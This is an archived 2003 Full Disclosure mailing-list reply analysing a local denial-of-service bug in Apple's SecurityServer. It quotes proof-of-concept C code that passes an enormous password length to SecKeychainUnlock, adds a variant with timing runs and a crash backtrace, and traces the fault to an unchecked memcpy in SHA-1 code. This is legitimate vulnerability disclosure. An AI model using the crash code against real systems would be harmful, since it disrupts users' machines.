Full Disclosure mailing list archives
Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin.
From: "William A. Carrel" <william.a () carrel org>
Date: Tue, 30 Dec 2003 19:37:58 -0800
In article <BC175C14.1C6E%marukka () mac com>, Matt Burnett <marukka () mac com> wrote:
Advisory Name Local Denial Of Service Attack Against The SecurityServer Daemon In MacOS X, MacOS X Server, And Darwin. Proof Of Concept Code To build this code run ³gcc <file name> -framework Security o CrashSecurityServer² #include <Security/Security.h> int main(int argc, const char *argv[]) { SecKeychainRef defaultKeychain; SecKeychainCopyDefault(&defaultKeychain); SecKeychainLock(defaultKeychain); SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true); return 0; }
I've done some cursory testing on a G5 with code that generates a fake length password.... This winds up in the middle of the above code... /* Build the password string */ n = atoi(argv[1]); /* sure... I trust argv... */ s = (char *)malloc(n+1); for (i=0; i < n; i++) s[i] = 'A' + (i % 26); s[n] = '\0'; i = SecKeychainUnlock(defaultKeychain, n+atoi(argv[2]), s, true); printf("Returned %i\n",i); So argv[1] is the length of the bogus password to generate and argv[2] is the amount of extra passwordLength to pad on. Some sample runs showed the following output and times: (8 byte password, 60k extra length) Returned -25293 ./OflowSecurityServer 8 60000 0.02s user 0.02s system 1% cpu 2.105 total (8 byte password, 600k extra length) Returned -25293 ./OflowSecurityServer 8 600000 0.03s user 0.01s system 0% cpu 19.212 total The scaling seems to be close to linear based on the length of the string. But then something interesting happens: Returned -2147414015 ./OflowSecurityServer 8 6000000 0.02s user 0.01s system 63% cpu 0.047 total Returned -2147414015 ./OflowSecurityServer 8 6000000 0.01s user 0.03s system 0% cpu 5.197 total Returned -2147414015 ./OflowSecurityServer 8 4294967287 0.02s user 0.01s system 72% cpu 0.041 total That's MININT + 69633. No idea what the significance there is. And equivilant CPU time is spent with the SecurityServer process doing something if a wait is indicated by a large wall clock time in those examples. On this G5 anyway, I'm unable to replicate the SecurityServer crash. Results from a G4 scale similarly at first, but do crash the SecurityServer for 0xffffffff passwordLength. The corefile gives the following callpath: (thanks John) Thread 0 Crashed: 0 <<00000000>> 0xffff8cf4 __memcpy + 0x554 1 com.apple.security 0x920fa534 sha1AddData + 0xa0 2 com.apple.security 0x92102a68 hmacInit + 0x6c 3 com.apple.security 0x9210294c hmacsha1 + 0x54 4 com.apple.security 0x9210286c F + 0x8c 5 com.apple.security 0x92102768 pbkdf2 + 0x84 6 com.apple.security 0x921026c0 AppleCSPSession::DeriveKey_PBKDF2(Security::Context const&, Security::CssmData const&, cssm_data*) + 0x174 7 com.apple.security 0x9210249c AppleCSPSession::DeriveKey(unsigned long long, Security::Context const&, Security::CssmData&, unsigned long, unsigned long, Security::CssmData const*, cssm_resource_control_context const*, Security::CssmKey&) + 0x1bc 8 com.apple.security 0x92102228 cssm_DeriveKey(unsigned long, unsigned long long, cssm_context const*, cssm_data*, unsigned long, unsigned long, cssm_data const*, cssm_resource_control_context const*, cssm_key*) + 0x304 9 com.apple.security 0x92101dec CSSM_DeriveKey + 0xa8 10 com.apple.security 0x921014f8 Security::CssmClient::DeriveKey::operator()(Security::CssmData*, Security::CssmClient::KeySpec const&) + 0x234 We can see from here that part of the problem is in the following file: http://cvs.opendarwin.org/index.cgi/src/Security/AppleCSP/MiscCSPAlgs/SHA 1.c?rev=1.1.1.2&content-type=text/x-cvsweb-markup in sha1AddData() Cursory examination tends to indicate that the ridiculously large passwordLength is simply being passed on through these calls without any vetting of whether it is a reasonable value. And with an insane count/blocks value in sha1AddData's call to shsUpdate(), the memcpy that shsUpdate does can quite easily stomp off into oblivion causing a segmentation fault. Hopefully someone can build on the information given here. I think sufficient source may be available for a homebrew fix, but I have to attend to other matters at this particular moment.
Vendor Response Apple Developer Connection told me that Apple does not give release dates for patches. 11-20-03 Vendor is notified of flaw and is supplied with proof of concept code. 12-29-03 Asked vendor for status update. Apple Product Security referred me to Apple Developer Connection. Apple Developer Connection informed me that Apple does not give release dates for patches. 12-30-03 Advisory and proof of concept code released.
Yeah, Apple doesn't seem very interested in maintaining any sort of status contact with people submitting security reports to them right now. Hopefully this will change in the future. -- William A. Carrel _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin. Matt Burnett (Dec 30)
- Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin. William A. Carrel (Dec 31)